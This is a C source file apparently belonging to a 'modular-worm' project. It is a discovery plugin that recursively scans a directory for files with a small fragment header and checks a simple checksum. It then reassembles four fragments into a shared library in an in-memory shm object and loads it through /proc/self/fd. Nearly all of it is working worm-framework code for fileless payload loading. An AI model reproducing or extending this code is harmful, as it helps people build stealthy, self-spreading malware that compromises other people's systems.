modular-worm/plugins/8_discovery.c

223 lines
5.8 KiB
C

#include <dirent.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include "api.h"
#include "error_codes.h"
#define P8_ROOT "./build"
#define P8_FRAG_NB 4
api_plugin_t version = {.id = 8, .flag = 0, .major = 1, .minor = 0};
static uint8_t p8_first_time_g = 1;
typedef struct {
unsigned char *data[P8_FRAG_NB];
long unsigned int size[P8_FRAG_NB];
} p8_module_fragments_t;
static p8_module_fragments_t p8_fragments_g[256] = {0};
static uint8_t p8_is_module_full(unsigned char id) {
for (int i = 0; i < P8_FRAG_NB; i++) {
if (p8_fragments_g[id].data[i] == NULL)
return 0;
}
return 1;
}
#define MODULE_PATH_BASE "so-256"
#define MODULE_PATH_SIZE (sizeof(MODULE_PATH_BASE))
#define SHM_PATH_SIZE sizeof("/proc/self/fd/65536") // we will not care of big fd
/*
Create a shared memory object, load a plugin in it and open the plugin with dlopen.
All the fragments should have been allocated with malloc because they are freed.
@param id: id of the plugin to load
@return SUCCESS or ERR_SYSCALL
*/
static uint8_t p8_add_module(unsigned char id) {
// Defines the name of the shared memory object
char path[MODULE_PATH_SIZE];
snprintf(path, MODULE_PATH_SIZE, "so-%i", id);
// Open the shared memory object
int shm_fd = shm_open(path, O_RDWR | O_CREAT, 0644);
if (shm_fd < 0) {
return ERR_SYSCALL;
}
for (int i = 0; i < P8_FRAG_NB; i++) {
// Write the shared library in the shared memory object
write(shm_fd, p8_fragments_g[id].data[i], p8_fragments_g[id].size[i]);
// Free the data from the fragments
// (without removing the pointer so those data should not be reused)
free(p8_fragments_g[id].data[i]);
}
// Defines the path on the filesystem to the shared library
char shm_path[SHM_PATH_SIZE] = {0};
snprintf(shm_path, SHM_PATH_SIZE, "/proc/self/fd/%i", shm_fd);
api_load_plugin(shm_path);
return SUCCESS;
}
typedef struct {
unsigned char plugin_id;
unsigned char frag_nb;
unsigned char modulo;
unsigned char *data;
unsigned int size;
} p8_fragment_t;
/*
Manage a fragment from a file's path.
If its not a valid fragment, it abort the operation.
Else if it's a valid frament it write it in the memory.
It its the last fragment of a plugin, it also load it.
@param path The path to access the file
@return SUCCESS if the file is a fragment
@return ERR_SYSCALL, ERR_MEMORY, ERR_WRITE, depending on the error
*/
static int p8_add_fragment(char const *path) {
// Open the file
int fd = open(path, O_RDONLY, O_RDONLY);
if (fd < 0) {
perror("open");
return ERR_SYSCALL;
}
// Generate the meta data
p8_fragment_t frag = {0};
int read_size = read(fd, (unsigned char *)&frag, 3);
// Verifies the meta data
if (read_size < 3 // too small to be a fragment
|| frag.frag_nb > 3 // 4 fragments only
|| p8_fragments_g[frag.plugin_id].data[frag.frag_nb] != NULL // fragment already loaded
|| p8_is_module_full(frag.plugin_id)// fragments are already loaded
) {
close(fd);
return ERR_UNKNOWN;
}
// Count the amount of bytes to read (3 first are meta-data, ignore them)
frag.size = lseek(fd, 0, SEEK_END) - 3;
lseek(fd, 3, SEEK_SET);
frag.data = malloc(frag.size);
if (frag.data == NULL) {
perror("malloc");
return ERR_MEMORY;
}
read(fd, frag.data, frag.size);
close(fd);
// Test the data checksum
unsigned char test_checksum = 0;
for (unsigned int i = 0; i < frag.size; i++)
test_checksum += frag.data[i];
test_checksum %= frag.plugin_id + 4;
if ((test_checksum + frag.modulo) % (frag.plugin_id + 4) != 0) {
free(frag.data);
return ERR_UNKNOWN; // Bad frag.modulo checksum
}
// Fill the fragment list
p8_fragments_g[frag.plugin_id].data[frag.frag_nb] = frag.data;
p8_fragments_g[frag.plugin_id].size[frag.frag_nb] = frag.size;
// Add the module if all the fragments are available
if (p8_is_module_full(frag.plugin_id)) {
p8_add_module(frag.plugin_id);
}
return SUCCESS;
}
/*
Try to load all the plugins available in a directory
@param dirname The directory that will be used
@return SUCCESS
@return ERR_SYSCALL, ERR_MEMORY
*/
static uint8_t p8_load_all_from_dir(char const *dirname) {
DIR *dir;
struct dirent *ent;
if ((dir = opendir(dirname)) == NULL) {
perror("opendir");
return ERR_SYSCALL;
}
while ((ent = readdir(dir)) != NULL) {
char *filepath;
asprintf(&filepath, "%s/%s", dirname, ent->d_name);
if (filepath == NULL) {
perror("asprintf");
return ERR_MEMORY;
}
p8_add_fragment(filepath);
free(filepath);
}
closedir(dir);
return SUCCESS;
}
/*
Try to load all the plugins available in a directory, recursively
This only works on UNIX for now
@param dirname The directory that will be used
@return SUCCESS
@return ERR_SYSCALL, ERR_MEMORY
*/
static uint8_t p8_load_all_from_dir_rec(char const *dirname) {
DIR *dir;
struct dirent *ent;
if ((dir = opendir(dirname)) == NULL) {
perror("opendir");
return ERR_SYSCALL;
}
while ((ent = readdir(dir)) != NULL) {
struct stat sb;
char *filepath;
asprintf(&filepath, "%s/%s", dirname, ent->d_name);
if (filepath == NULL) {
perror("asprintf");
return ERR_MEMORY;
}
if (stat(filepath, &sb) == -1) {
perror("stat");
return ERR_SYSCALL;
}
if (sb.st_mode & S_IFDIR
&& strncmp(ent->d_name, "..", 3)
&& strncmp(ent->d_name, ".", 2)) {
uint8_t ret = p8_load_all_from_dir_rec(filepath);
if (ret != SUCCESS)
return ret;
}
else
p8_add_fragment(filepath);
/* api_load_plugin(filepath); */
free(filepath);
}
closedir(dir);
return SUCCESS;
}
void run() {
if (p8_first_time_g) {
p8_load_all_from_dir_rec(P8_ROOT);
p8_first_time_g = 0;
}
}